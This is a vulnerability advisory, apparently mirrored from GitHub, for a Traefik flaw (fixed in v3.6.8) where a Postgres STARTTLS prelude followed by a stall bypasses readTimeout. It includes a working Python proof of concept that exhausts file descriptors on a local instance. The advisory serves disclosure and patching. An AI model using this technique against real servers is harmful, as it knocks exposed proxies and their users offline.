Traefik: TCP readTimeout bypass via STARTTLS on Postgres

Description

Impact

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.8

For more information

If you have any questions or comments about this advisory, please open an issue.

<details>
<summary>Original Description</summary>

Summary

A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.

This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).

Details

Traefik applies per-connection deadlines based on entryPoints.&lt;name&gt;.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/server_entrypoint_tcp.go, which sets SetReadDeadline on accepted connections).

However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:

  • detect Postgres SSLRequest (8-byte signature),
  • call conn.SetDeadline(time.Time{}) (clears all deadlines),
  • then enter the Postgres STARTTLS handler (servePostgres).

The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:

  1. connect to any internet-exposed TCP entrypoint,
  2. send the Postgres SSLRequest (SSL negotiation request),
  3. receive Traefik’s single-byte response (S),
  4. stop sending any further bytes.

Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.

Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.

Tested versions:
- v3.6.7
- master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f

PoC

Prerequisites:
- Linux host
- Python 3
- A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIK_BIN constant (edit if needed).

Execute the script below:
<details>
<summary>Script (Click to expand)</summary>

#!/usr/bin/env python3
from __future__ import annotations

import os
import socket
import subprocess
import tempfile
import time
from typing import Final

# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = &quot;/usr/local/sbin/traefik&quot;

HOST: Final[str] = &quot;127.0.0.1&quot;
PORT: Final[int] = 18080

STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300

POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])


def fd_count(pid: int) -&gt; int:
    return len(os.listdir(f&quot;/proc/{pid}/fd&quot;))


def open_idle_conns(n: int) -&gt; list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        conns.append(socket.create_connection((HOST, PORT)))
    return conns


def open_postgres_sslrequest_conns(n: int) -&gt; list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        s = socket.create_connection((HOST, PORT))
        s.settimeout(1.0)
        s.sendall(POSTGRES_SSLREQUEST)
        try:
            _ = s.recv(1)  # typically b&quot;S&quot;
        except socket.timeout:
            pass
        conns.append(s)
    return conns


def close_all(conns: list[socket.socket]) -&gt; None:
    for s in conns:
        try:
            s.close()
        except OSError:
            pass


def main() -&gt; None:
    with tempfile.TemporaryDirectory(prefix=&quot;vh-traefik-f005-&quot;) as td:
        dyn = os.path.join(td, &quot;dynamic.yml&quot;)
        with open(dyn, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
            f.write(
                f&quot;&quot;&quot;\
http:
  routers:
    r:
      entryPoints: [web]
      rule: &quot;PathPrefix(`/`)&quot;
      service: s
  services:
    s:
      loadBalancer:
        servers:
          - url: &quot;http://{HOST}:9&quot;
&quot;&quot;&quot;
            )

        proc = subprocess.Popen(
            [
                TRAEFIK_BIN,
                &quot;--log.level=ERROR&quot;,
                f&quot;--entryPoints.web.address=:{PORT}&quot;,
                f&quot;--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s&quot;,
                f&quot;--providers.file.filename={dyn}&quot;,
                &quot;--providers.file.watch=false&quot;,
            ],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.STDOUT,
        )
        try:
            time.sleep(STARTUP_SLEEP_SECS)

            pid = proc.pid
            if pid is None:
                raise RuntimeError(&quot;Traefik PID is None&quot;)

            ver = subprocess.check_output([TRAEFIK_BIN, &quot;version&quot;], text=True).strip()
            print(ver)
            print(f&quot;Traefik={TRAEFIK_BIN}&quot;)
            print(f&quot;Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s&quot;)

            base = fd_count(pid)
            print(f&quot;traefik_pid={pid} fd_base={base}&quot;)

            idle = open_idle_conns(N_CONNS)
            fd_after_open_idle = fd_count(pid)
            print(f&quot;baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}&quot;)
            time.sleep(SLEEP_SECS)
            fd_after_sleep_idle = fd_count(pid)
            print(f&quot;baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}&quot;)
            close_all(idle)

            pg = open_postgres_sslrequest_conns(N_CONNS)
            fd_after_open_pg = fd_count(pid)
            print(f&quot;candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}&quot;)
            time.sleep(SLEEP_SECS)
            fd_after_sleep_pg = fd_count(pid)
            print(f&quot;candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}&quot;)
            close_all(pg)

            if (fd_after_sleep_idle - base) &lt;= 5 and (fd_after_sleep_pg - base) &gt;= (N_CONNS // 2):
                print(&quot;VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.&quot;)
            else:
                print(&quot;INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.&quot;)
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=3.0)


if __name__ == &quot;__main__&quot;:
    main()

</details>

<details>
<summary>Expected output (Click to expand)</summary>

Version:      3.6.7
Codename:     ramequin
Go version:   go1.24.11
Built:        2026-01-14T14:04:03Z
OS/Arch:      linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.

</details>

Impact

Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.

</details>

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-02-12 15:54:11 UTC
Updated
2026-02-12 22:08:03 UTC
GitHub reviewed
2026-02-12 15:54:11 UTC
NVD published
2026-02-12

EPSS Score

Score Percentile
0.02% 4.58%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-400 Uncontrolled Resource Consumption

Credits

  • manizada (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/traefik/traefik/v3 <= 3.6.7 3.6.8

References

cvelogic Threat Intelligence